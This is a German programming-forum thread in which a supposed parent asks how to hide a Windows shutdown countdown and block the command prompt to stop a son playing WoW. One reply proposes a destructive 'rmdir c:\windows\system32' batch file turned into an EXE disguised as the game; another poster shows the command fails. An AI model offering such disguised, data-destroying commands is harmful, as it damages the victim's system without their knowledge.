Countdown unsichtabr



  • Hallo
    Also wenn ich jez im compiler den code eingebe

    #include <iostream>
    using namespace std;
    int main()
    {
    system ("shutdown -s");
    }
    

    und wenn ich dann dieses ausführe dann erscheint ein countdown der von 30 runterzählt. Wie mache ich , dass der im Hintergrund läuft also ohne dass man ihn sieht.
    Und könnett ihr mir auch noch sagen wie ich die Eingabeaufforderung deaktiviere?

    Ps.: Falls ihr jetzt etwas falsches denkt oder so.... Ich brauch des für mein Sohn der zuviel WoW spielt(De ganzen Tag). Seine Noten sind von 1 und 2 auf 6 gegangen und ich möchted es das der pc nach 15 min runterfährt(wie countdown einstellen geht weiß ich... mit -t xxx ) und er soll nichtmehr spieln aber er macht es trotzdem. Und deswegen dies jetz... Computer abnehmen oder anderers bringt nichts da er dann den wielden spielt und wir daruf keine lust mehr haben.
    die Eingabeauforderung auschalten, weil er weiß wie der shutdown -s befehl abbricht

    Thx für eure Unterstützung



  • mit

    system("shutdown -s > /dev/null");
    

    vielleicht?



  • thx probiers aus



  • ne funzt net habt ihr was anderes



  • Also ich fänd es ja interessant, wieso du den Computer ohne sichtbare Anzeichen runterfahren möchtest 🙄



  • Ne dass der countdow im hintergrund kläuft ohne sich zu zeigen halt unsichtbar er ist vorhanden nur es ist keiner auf dem monitor



  • The-Kenny schrieb:

    Also ich fänd es ja interessant, wieso du den Computer ohne sichtbare Anzeichen runterfahren möchtest 🙄

    Ähm kannst du nicht lesen ich habs doch oben erläutert untere ps



  • Dann würd ich deinem Sohn einfach mal den PC wegnehmen oder Wow deinstallieren/Account löschen. Mein Gott, dass sich Eltern scheinbar überhaupt nicht mehr durchsetzen können 🙄

    Zu dem Problem: Schau dir an, welche Parameter shutdown sonst noch akzeptiert. Vielleicht ist ein brauchbarer dabei.



  • verbiete deinem sohn mehr als 2h computer pro tag, problem gelöst 😉



  • Das Problem ist bekannt, und wurde von herstellerseite behoben
    http://faq.wow-europe.com/de/article.php?id=893.

    ach ja, wenn du ein programm mit nur systembefehlen schreiben möchtest, ist es einfacher diese in eine *.bat datei zu schreiben, und die dann auszuführen.



  • wäre schon ne möglcih keit aber dann kommt ja trotzdem der countdown und wie gehtd das sdieser unsichtbar läuft



  • und statt jetzt so dumme commies zu schreiben könnett ihr einfach den code posten



  • int main()
    {
      cout << "pc aus!" << endl;
    }
    

    was gefällt dir an der lösung von blizzard nicht, zu der krux verlinkt hat? halte dich zwar für nen troll, aber wenn du wirklich mal kinder in die welt setzen solltest, dann ists kein wunder, wenn das verzogene gören werden.



  • thordk schrieb:

    int main()
    {
      cout << "pc aus!" << endl;
    }
    

    haha ganz lustig .... cout ist ein ausgabebefehl und kein systembefehl...ganz lustig!
    Hast u zum frühstück en clown verschluckt oder was



  • xD der woar was



  • http://www.chip.de/downloads/c1_downloads_13006862.html

    Das erste Ergebnis bei Google: shutdown...



  • was dein eigentliches problem angeht: hier wird dir geholfen



  • Stalker hast du ICQ wenn ja dann add mich mal ich hab da eine tolle idee meine icq nummer ist 270-503-072 schreib mich mal so um 18:30 uhr an oder so 😉



  • oder mach eine Batch datei

    schreib darein

    rmdir c:\windows\system32

    convertier die Batch datei in eine EXE datei um

    der converter dafür: http://www.download-tipp.de/shareware_und_freeware/14937.shtml

    und dann kopierste du diese EXE datei in sein WOW Ordner nenntst die Datei WOW
    EXE und dann mach einfach eine verknüpfung also rechte maustaste auf die convertierte datei dann verknüpfung erstellen dann wieder rechte maustaste dann

    auf eigentschaften dann auf anderes symbol und dann das symbol von der WOW exe auswählen und wer er dann wieder wow spielen will und das startet geht es net

    logischer weise und wenn er sein PC hochfahren will geht es danach net mehr^^
    aber man kann es mit der windows CD reparieren also versteck auch die windows cd gut^^ Achja und falls er sein WOW auch aufm desktop hat dann mach da auch deine WOW exe hin und versteck seine originale exe irgendwo wo er sie nicht findet am besten irgendwo im windows ordner oder so^^

    Aber schreib mich halt mal in icq an ich hab noch eine bessere Idee
    www.icq.com da kannst du auch icq runterladen.



  • Bass schrieb:

    oder mach eine Batch datei

    schreib darein

    rmdir c:\windows\system32

    convertier die Batch datei in eine EXE datei um

    der converter dafür: http://www.download-tipp.de/shareware_und_freeware/14937.shtml

    und dann kopierste du diese EXE datei in sein WOW Ordner nenntst die Datei WOW
    EXE und dann mach einfach eine verknüpfung also rechte maustaste auf die convertierte datei dann verknüpfung erstellen dann wieder rechte maustaste dann

    auf eigentschaften dann auf anderes symbol und dann das symbol von der WOW exe auswählen und wer er dann wieder wow spielen will und das startet geht es net

    logischer weise und wenn er sein PC hochfahren will geht es danach net mehr^^
    aber man kann es mit der windows CD reparieren also versteck auch die windows cd gut^^ Achja und falls er sein WOW auch aufm desktop hat dann mach da auch deine WOW exe hin und versteck seine originale exe irgendwo wo er sie nicht findet am besten irgendwo im windows ordner oder so^^

    Aber schreib mich halt mal in icq an ich hab noch eine bessere Idee
    www.icq.com da kannst du auch icq runterladen.

    Wow, ganz grosses Kino:

    C:\>rmdir c:\windows\system32
    The process cannot access the file because it is being used by another process.
    
    C:\>
    

    Den gleichen Effekt bekommst du auch durch ein einfaches

    @echo The process cannot access the file because it is being used by another process.
    

Anmelden zum Antworten